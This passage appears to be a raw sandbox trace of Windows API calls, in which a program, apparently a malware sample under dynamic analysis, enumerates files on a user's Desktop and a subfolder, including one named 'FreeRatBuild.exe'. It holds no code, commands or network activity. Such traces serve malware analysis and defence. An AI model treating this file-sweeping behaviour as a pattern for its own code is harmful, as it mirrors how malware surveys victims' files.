hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8b24a00, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xb94ae080, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xc7920000, ftLastWriteTime.dwHighDateTime=0x1d9eafd, nFileSizeHigh=0x0, nFileSizeLow=0x23e134, dwReserved0=0x0, dwReserved1=0x0, cFileName="FreeRatBuild.exe", cAlternateFileName="FREERA~1.EXE")) returned 1 [0221.022] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x487db10, ftCreationTime.dwHighDateTime=0x1d992f7, ftLastAccessTime.dwLowDateTime=0x7edb340, ftLastAccessTime.dwHighDateTime=0x1d99c77, ftLastWriteTime.dwLowDateTime=0x7edb340, ftLastWriteTime.dwHighDateTime=0x1d99c77, nFileSizeHigh=0x0, nFileSizeLow=0xbd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsLjCd0MyojuNTOIxMc0.m4a", cAlternateFileName="FSLJCD~1.M4A")) returned 1 [0221.022] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51e01a0, ftCreationTime.dwHighDateTime=0x1d991b2, ftLastAccessTime.dwLowDateTime=0x3d1225d0, ftLastAccessTime.dwHighDateTime=0x1d99c70, ftLastWriteTime.dwLowDateTime=0x3d1225d0, ftLastWriteTime.dwHighDateTime=0x1d99c70, nFileSizeHigh=0x0, nFileSizeLow=0x8c3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="g-g0pTD9FfxGG.gif", cAlternateFileName="G-G0PT~1.GIF")) returned 1 [0221.022] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9516b190, ftCreationTime.dwHighDateTime=0x1d99b7d, ftLastAccessTime.dwLowDateTime=0x63461d10, ftLastAccessTime.dwHighDateTime=0x1d99cc5, ftLastWriteTime.dwLowDateTime=0x63461d10, ftLastWriteTime.dwHighDateTime=0x1d99cc5, nFileSizeHigh=0x0, nFileSizeLow=0x2997, dwReserved0=0x0, dwReserved1=0x0, cFileName="g0tXj3X.png", cAlternateFileName="")) returned 1 [0221.023] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2a2470, ftCreationTime.dwHighDateTime=0x1d99663, ftLastAccessTime.dwLowDateTime=0xc0fdd520, ftLastAccessTime.dwHighDateTime=0x1d99959, ftLastWriteTime.dwLowDateTime=0xc0fdd520, ftLastWriteTime.dwHighDateTime=0x1d99959, nFileSizeHigh=0x0, nFileSizeLow=0x12c1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gd SqBQ7o5z-lrjhJI9.mkv", cAlternateFileName="GDSQBQ~1.MKV")) returned 1 [0221.023] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc60ff720, ftCreationTime.dwHighDateTime=0x1d99c1d, ftLastAccessTime.dwLowDateTime=0xe9c1190, ftLastAccessTime.dwHighDateTime=0x1d99cf5, ftLastWriteTime.dwLowDateTime=0xe9c1190, ftLastWriteTime.dwHighDateTime=0x1d99cf5, nFileSizeHigh=0x0, nFileSizeLow=0xced5, dwReserved0=0x0, dwReserved1=0x0, cFileName="iuV2-ScavRDqDUUUcH4.avi", cAlternateFileName="IUV2-S~1.AVI")) returned 1 [0221.023] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd17fd860, ftCreationTime.dwHighDateTime=0x1d98fa6, ftLastAccessTime.dwLowDateTime=0xf4c77b60, ftLastAccessTime.dwHighDateTime=0x1d9971d, ftLastWriteTime.dwLowDateTime=0xf4c77b60, ftLastWriteTime.dwHighDateTime=0x1d9971d, nFileSizeHigh=0x0, nFileSizeLow=0x1600e, dwReserved0=0x0, dwReserved1=0x0, cFileName="KlU6fJIoveUcDi-0V0Q.pdf", cAlternateFileName="KLU6FJ~1.PDF")) returned 1 [0221.023] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fedfd20, ftCreationTime.dwHighDateTime=0x1d99c44, ftLastAccessTime.dwLowDateTime=0xf7d3fc60, ftLastAccessTime.dwHighDateTime=0x1d99ce1, ftLastWriteTime.dwLowDateTime=0xf7d3fc60, ftLastWriteTime.dwHighDateTime=0x1d99ce1, nFileSizeHigh=0x0, nFileSizeLow=0x10dd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kNuyI6w1_gX0wdKI-S.gif", cAlternateFileName="KNUYI6~1.GIF")) returned 1 [0221.023] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd46d5b40, ftCreationTime.dwHighDateTime=0x1d99af2, ftLastAccessTime.dwLowDateTime=0x102dbb90, ftLastAccessTime.dwHighDateTime=0x1d99b28, ftLastWriteTime.dwLowDateTime=0x102dbb90, ftLastWriteTime.dwHighDateTime=0x1d99b28, nFileSizeHigh=0x0, nFileSizeLow=0xb0ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEFEDKSqfiJ0CHm6DT.gif", cAlternateFileName="MEFEDK~1.GIF")) returned 1 [0221.024] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f429c90, ftCreationTime.dwHighDateTime=0x1d9979d, ftLastAccessTime.dwLowDateTime=0x2428eac0, ftLastAccessTime.dwHighDateTime=0x1d998ee, ftLastWriteTime.dwLowDateTime=0x2428eac0, ftLastWriteTime.dwHighDateTime=0x1d998ee, nFileSizeHigh=0x0, nFileSizeLow=0xb999, dwReserved0=0x0, dwReserved1=0x0, cFileName="oIb2o.bmp", cAlternateFileName="")) returned 1 [0221.024] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2f2d70, ftCreationTime.dwHighDateTime=0x1d9923e, ftLastAccessTime.dwLowDateTime=0x1ecf6f90, ftLastAccessTime.dwHighDateTime=0x1d99727, ftLastWriteTime.dwLowDateTime=0x1ecf6f90, ftLastWriteTime.dwHighDateTime=0x1d99727, nFileSizeHigh=0x0, nFileSizeLow=0x25c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RD8KjrlZkPUIz3tqvIv.flv", cAlternateFileName="RD8KJR~1.FLV")) returned 1 [0221.024] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a70ca0, ftCreationTime.dwHighDateTime=0x1d9936c, ftLastAccessTime.dwLowDateTime=0x6d195ec0, ftLastAccessTime.dwHighDateTime=0x1d999e5, ftLastWriteTime.dwLowDateTime=0x6d195ec0, ftLastWriteTime.dwHighDateTime=0x1d999e5, nFileSizeHigh=0x0, nFileSizeLow=0x12563, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdiE9q6J8EMfapMAp9L.mkv", cAlternateFileName="RDIE9Q~1.MKV")) returned 1 [0221.024] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9a00b20, ftCreationTime.dwHighDateTime=0x1d99b4c, ftLastAccessTime.dwLowDateTime=0xffa3ea70, ftLastAccessTime.dwHighDateTime=0x1d99c66, ftLastWriteTime.dwLowDateTime=0xffa3ea70, ftLastWriteTime.dwHighDateTime=0x1d99c66, nFileSizeHigh=0x0, nFileSizeLow=0x11ece, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rg5hE.png", cAlternateFileName="")) returned 1 [0221.024] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47ac770, ftCreationTime.dwHighDateTime=0x1d99498, ftLastAccessTime.dwLowDateTime=0x12640220, ftLastAccessTime.dwHighDateTime=0x1d99a9c, ftLastWriteTime.dwLowDateTime=0x12640220, ftLastWriteTime.dwHighDateTime=0x1d99a9c, nFileSizeHigh=0x0, nFileSizeLow=0x12c41, dwReserved0=0x0, dwReserved1=0x0, cFileName="sDcZ0rZQ.avi", cAlternateFileName="")) returned 1 [0221.025] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7090ae80, ftCreationTime.dwHighDateTime=0x1d99861, ftLastAccessTime.dwLowDateTime=0xb45e42a0, ftLastAccessTime.dwHighDateTime=0x1d99afd, ftLastWriteTime.dwLowDateTime=0xb45e42a0, ftLastWriteTime.dwHighDateTime=0x1d99afd, nFileSizeHigh=0x0, nFileSizeLow=0xa02a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwF2GBdXpXUl-VRUjND.mp3", cAlternateFileName="SWF2GB~1.MP3")) returned 1 [0221.025] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa596e210, ftCreationTime.dwHighDateTime=0x1d98f43, ftLastAccessTime.dwLowDateTime=0x9cd419e0, ftLastAccessTime.dwHighDateTime=0x1d991be, ftLastWriteTime.dwLowDateTime=0x9cd419e0, ftLastWriteTime.dwHighDateTime=0x1d991be, nFileSizeHigh=0x0, nFileSizeLow=0xa2fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Umve5gDV.ppt", cAlternateFileName="")) returned 1 [0221.025] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe005b400, ftCreationTime.dwHighDateTime=0x1d998ab, ftLastAccessTime.dwLowDateTime=0x50840650, ftLastAccessTime.dwHighDateTime=0x1d99cdf, ftLastWriteTime.dwLowDateTime=0x50840650, ftLastWriteTime.dwHighDateTime=0x1d99cdf, nFileSizeHigh=0x0, nFileSizeLow=0xf18d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vn8ckr6.avi", cAlternateFileName="")) returned 1 [0221.025] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6960e730, ftCreationTime.dwHighDateTime=0x1d990bc, ftLastAccessTime.dwLowDateTime=0x5d353e40, ftLastAccessTime.dwHighDateTime=0x1d994a7, ftLastWriteTime.dwLowDateTime=0x5d353e40, ftLastWriteTime.dwHighDateTime=0x1d994a7, nFileSizeHigh=0x0, nFileSizeLow=0xa061, dwReserved0=0x0, dwReserved1=0x0, cFileName="VrZT9hC.wav", cAlternateFileName="")) returned 1 [0221.025] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aa10240, ftCreationTime.dwHighDateTime=0x1d98cb9, ftLastAccessTime.dwLowDateTime=0x4d7ea5e0, ftLastAccessTime.dwHighDateTime=0x1d9974a, ftLastWriteTime.dwLowDateTime=0x4d7ea5e0, ftLastWriteTime.dwHighDateTime=0x1d9974a, nFileSizeHigh=0x0, nFileSizeLow=0x1117b, dwReserved0=0x0, dwReserved1=0x0, cFileName="xwHAL ufHL2b.rtf", cAlternateFileName="XWHALU~1.RTF")) returned 1 [0221.025] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0fe0, ftCreationTime.dwHighDateTime=0x1d99c73, ftLastAccessTime.dwLowDateTime=0x127100a0, ftLastAccessTime.dwHighDateTime=0x1d99cf0, ftLastWriteTime.dwLowDateTime=0x127100a0, ftLastWriteTime.dwHighDateTime=0x1d99cf0, nFileSizeHigh=0x0, nFileSizeLow=0x4105, dwReserved0=0x0, dwReserved1=0x0, cFileName="YliBXp.bmp", cAlternateFileName="")) returned 1 [0221.026] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa357be60, ftCreationTime.dwHighDateTime=0x1d98ebd, ftLastAccessTime.dwLowDateTime=0x98c62380, ftLastAccessTime.dwHighDateTime=0x1d997e4, ftLastWriteTime.dwLowDateTime=0x98c62380, ftLastWriteTime.dwHighDateTime=0x1d997e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zlUG", cAlternateFileName="")) returned 1 [0221.026] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c14c00, ftCreationTime.dwHighDateTime=0x1d994f8, ftLastAccessTime.dwLowDateTime=0x3f92aa10, ftLastAccessTime.dwHighDateTime=0x1d99c0b, ftLastWriteTime.dwLowDateTime=0x3f92aa10, ftLastWriteTime.dwHighDateTime=0x1d99c0b, nFileSizeHigh=0x0, nFileSizeLow=0xd52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="_ESzBLrdaGtAmnb.m4a", cAlternateFileName="_ESZBL~1.M4A")) returned 1 [0221.026] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c14c00, ftCreationTime.dwHighDateTime=0x1d994f8, ftLastAccessTime.dwLowDateTime=0x3f92aa10, ftLastAccessTime.dwHighDateTime=0x1d99c0b, ftLastWriteTime.dwLowDateTime=0x3f92aa10, ftLastWriteTime.dwHighDateTime=0x1d99c0b, nFileSizeHigh=0x0, nFileSizeLow=0xd52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="_ESzBLrdaGtAmnb.m4a", cAlternateFileName="_ESZBL~1.M4A")) returned 0 [0221.026] FindClose (in: hFindFile=0x1d1f4bd0 | out: hFindFile=0x1d1f4bd0) returned 1 [0221.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0221.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0221.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.026] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG", lpFilePart=0x0) returned 0x22 [0221.027] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\zlug\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa357be60, ftCreationTime.dwHighDateTime=0x1d98ebd, ftLastAccessTime.dwLowDateTime=0x98c62380, ftLastAccessTime.dwHighDateTime=0x1d997e4, ftLastWriteTime.dwLowDateTime=0x98c62380, ftLastWriteTime.dwHighDateTime=0x1d997e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4690 [0221.027] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa357be60, ftCreationTime.dwHighDateTime=0x1d98ebd, ftLastAccessTime.dwLowDateTime=0x98c62380, ftLastAccessTime.dwHighDateTime=0x1d997e4, ftLastWriteTime.dwLowDateTime=0x98c62380, ftLastWriteTime.dwHighDateTime=0x1d997e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.027] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f7c5050, ftCreationTime.dwHighDateTime=0x1d9913f, ftLastAccessTime.dwLowDateTime=0x6a3dd450, ftLastAccessTime.dwHighDateTime=0x1d99a6d, ftLastWriteTime.dwLowDateTime=0x6a3dd450, ftLastWriteTime.dwHighDateTime=0x1d99a6d, nFileSizeHigh=0x0, nFileSizeLow=0x14e7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0aITUW-ZBHi.wav", cAlternateFileName="0AITUW~1.WAV")) returned 1 [0221.027] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb0cb040, ftCreationTime.dwHighDateTime=0x1d98d8c, ftLastAccessTime.dwLowDateTime=0x72b4d740, ftLastAccessTime.dwHighDateTime=0x1d99712, ftLastWriteTime.dwLowDateTime=0x72b4d740, ftLastWriteTime.dwHighDateTime=0x1d99712, nFileSizeHigh=0x0, nFileSizeLow=0xe68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Jab.wav", cAlternateFileName="")) returned 1 [0221.027] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x180f6a30, ftCreationTime.dwHighDateTime=0x1d99b2c, ftLastAccessTime.dwLowDateTime=0x425ccd50, ftLastAccessTime.dwHighDateTime=0x1d99c5d, ftLastWriteTime.dwLowDateTime=0x425ccd50, ftLastWriteTime.dwHighDateTime=0x1d99c5d, nFileSizeHigh=0x0, nFileSizeLow=0x11667, dwReserved0=0x0, dwReserved1=0x0, cFileName="EBmYXW1b0A4.mp4", cAlternateFileName="EBMYXW~1.MP4")) returned 1 [0221.028] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6709b820, ftCreationTime.dwHighDateTime=0x1d98e48, ftLastAccessTime.dwLowDateTime=0x858be3d0, ftLastAccessTime.dwHighDateTime=0x1d99830, ftLastWriteTime.dwLowDateTime=0x858be3d0, ftLastWriteTime.dwHighDateTime=0x1d99830, nFileSizeHigh=0x0, nFileSizeLow=0xc379, dwReserved0=0x0, dwReserved1=0x0, cFileName="eGB7.jpg", cAlternateFileName="")) returned 1 [0221.028] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8da7f360, ftCreationTime.dwHighDateTime=0x1d99673, ftLastAccessTime.dwLowDateTime=0x46286cc0, ftLastAccessTime.dwHighDateTime=0x1d997a6, ftLastWriteTime.dwLowDateTime=0x46286cc0, ftLastWriteTime.dwHighDateTime=0x1d997a6, nFileSizeHigh=0x0, nFileSizeLow=0xdcaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="qSfEc.wav", cAlternateFileName="")) returned 1 [0221.028] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989e50, ftCreationTime.dwHighDateTime=0x1d992dd, ftLastAccessTime.dwLowDateTime=0x61d72370, ftLastAccessTime.dwHighDateTime=0x1d99464, ftLastWriteTime.dwLowDateTime=0x61d72370, ftLastWriteTime.dwHighDateTime=0x1d99464, nFileSizeHigh=0x0, nFileSizeLow=0x4747, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tof29QbuVbwvOLyeWJ1.jpg", cAlternateFileName="TOF29Q~1.JPG")) returned 1 [0221.028] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1776d80, ftCreationTime.dwHighDateTime=0x1d992fa, ftLastAccessTime.dwLowDateTime=0x3af599a0, ftLastAccessTime.dwHighDateTime=0x1d99b0b, ftLastWriteTime.dwLowDateTime=0x3af599a0, ftLastWriteTime.dwHighDateTime=0x1d99b0b, nFileSizeHigh=0x0, nFileSizeLow=0x5785, dwReserved0=0x0, dwReserved1=0x0, cFileName="udML.flv", cAlternateFileName="")) returned 1 [0221.028] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f740080, ftCreationTime.dwHighDateTime=0x1d996c5, ftLastAccessTime.dwLowDateTime=0x741dd540, ftLastAccessTime.dwHighDateTime=0x1d99853, ftLastWriteTime.dwLowDateTime=0x741dd540, ftLastWriteTime.dwHighDateTime=0x1d99853, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4OxFqys9SERg2Ep", cAlternateFileName="V4OXFQ~1")) returned 1 [0221.028] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85471660, ftCreationTime.dwHighDateTime=0x1d998a3, ftLastAccessTime.dwLowDateTime=0xbbc17560, ftLastAccessTime.dwHighDateTime=0x1d99933, ftLastWriteTime.dwLowDateTime=0xbbc17560, ftLastWriteTime.dwHighDateTime=0x1d99933, nFileSizeHigh=0x0, nFileSizeLow=0x8028, dwReserved0=0x0, dwReserved1=0x0, cFileName="xJpnr_pWFfFc6xIWN.mp4", cAlternateFileName="XJPNR_~1.MP4")) returned 1 [0221.029] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.029] FindClose (in: hFindFile=0x1d1f4690 | out: hFindFile=0x1d1f4690) returned 1 [0221.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0221.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0221.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.029] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG", lpFilePart=0x0) returned 0x22 [0221.029] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\zlug\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa357be60, ftCreationTime.dwHighDateTime=0x1d98ebd, ftLastAccessTime.dwLowDateTime=0x98c62380, ftLastAccessTime.dwHighDateTime=0x1d997e4, ftLastWriteTime.dwLowDateTime=0x98c62380, ftLastWriteTime.dwHighDateTime=0x1d997e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4450 [0221.029] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa357be60, ftCreationTime.dwHighDateTime=0x1d98ebd, ftLastAccessTime.dwLowDateTime=0x98c62380, ftLastAccessTime.dwHighDateTime=0x1d997e4, ftLastWriteTime.dwLowDateTime=0x98c62380, ftLastWriteTime.dwHighDateTime=0x1d997e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.030] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f7c5050, ftCreationTime.dwHighDateTime=0x1d9913f, ftLastAccessTime.dwLowDateTime=0x6a3dd450, ftLastAccessTime.dwHighDateTime=0x1d99a6d, ftLastWriteTime.dwLowDateTime=0x6a3dd450, ftLastWriteTime.dwHighDateTime=0x1d99a6d, nFileSizeHigh=0x0, nFileSizeLow=0x14e7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0aITUW-ZBHi.wav", cAlternateFileName="0AITUW~1.WAV")) returned 1 [0221.030] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb0cb040, ftCreationTime.dwHighDateTime=0x1d98d8c, ftLastAccessTime.dwLowDateTime=0x72b4d740, ftLastAccessTime.dwHighDateTime=0x1d99712, ftLastWriteTime.dwLowDateTime=0x72b4d740, ftLastWriteTime.dwHighDateTime=0x1d99712, nFileSizeHigh=0x0, nFileSizeLow=0xe68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Jab.wav", cAlternateFileName="")) returned 1 [0221.030] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x180f6a30, ftCreationTime.dwHighDateTime=0x1d99b2c, ftLastAccessTime.dwLowDateTime=0x425ccd50, ftLastAccessTime.dwHighDateTime=0x1d99c5d, ftLastWriteTime.dwLowDateTime=0x425ccd50, ftLastWriteTime.dwHighDateTime=0x1d99c5d, nFileSizeHigh=0x0, nFileSizeLow=0x11667, dwReserved0=0x0, dwReserved1=0x0, cFileName="EBmYXW1b0A4.mp4", cAlternateFileName="EBMYXW~1.MP4")) returned 1 [0221.030] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6709b820, ftCreationTime.dwHighDateTime=0x1d98e48, ftLastAccessTime.dwLowDateTime=0x858be3d0, ftLastAccessTime.dwHighDateTime=0x1d99830, ftLastWriteTime.dwLowDateTime=0x858be3d0, ftLastWriteTime.dwHighDateTime=0x1d99830, nFileSizeHigh=0x0, nFileSizeLow=0xc379, dwReserved0=0x0, dwReserved1=0x0, cFileName="eGB7.jpg", cAlternateFileName="")) returned 1 [0221.030] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8da7f360, ftCreationTime.dwHighDateTime=0x1d99673, ftLastAccessTime.dwLowDateTime=0x46286cc0, ftLastAccessTime.dwHighDateTime=0x1d997a6, ftLastWriteTime.dwLowDateTime=0x46286cc0, ftLastWriteTime.dwHighDateTime=0x1d997a6, nFileSizeHigh=0x0, nFileSizeLow=0xdcaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="qSfEc.wav", cAlternateFileName="")) returned 1 [0221.030] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989e50, ftCreationTime.dwHighDateTime=0x1d992dd, ftLastAccessTime.dwLowDateTime=0x61d72370, ftLastAccessTime.dwHighDateTime=0x1d99464, ftLastWriteTime.dwLowDateTime=0x61d72370, 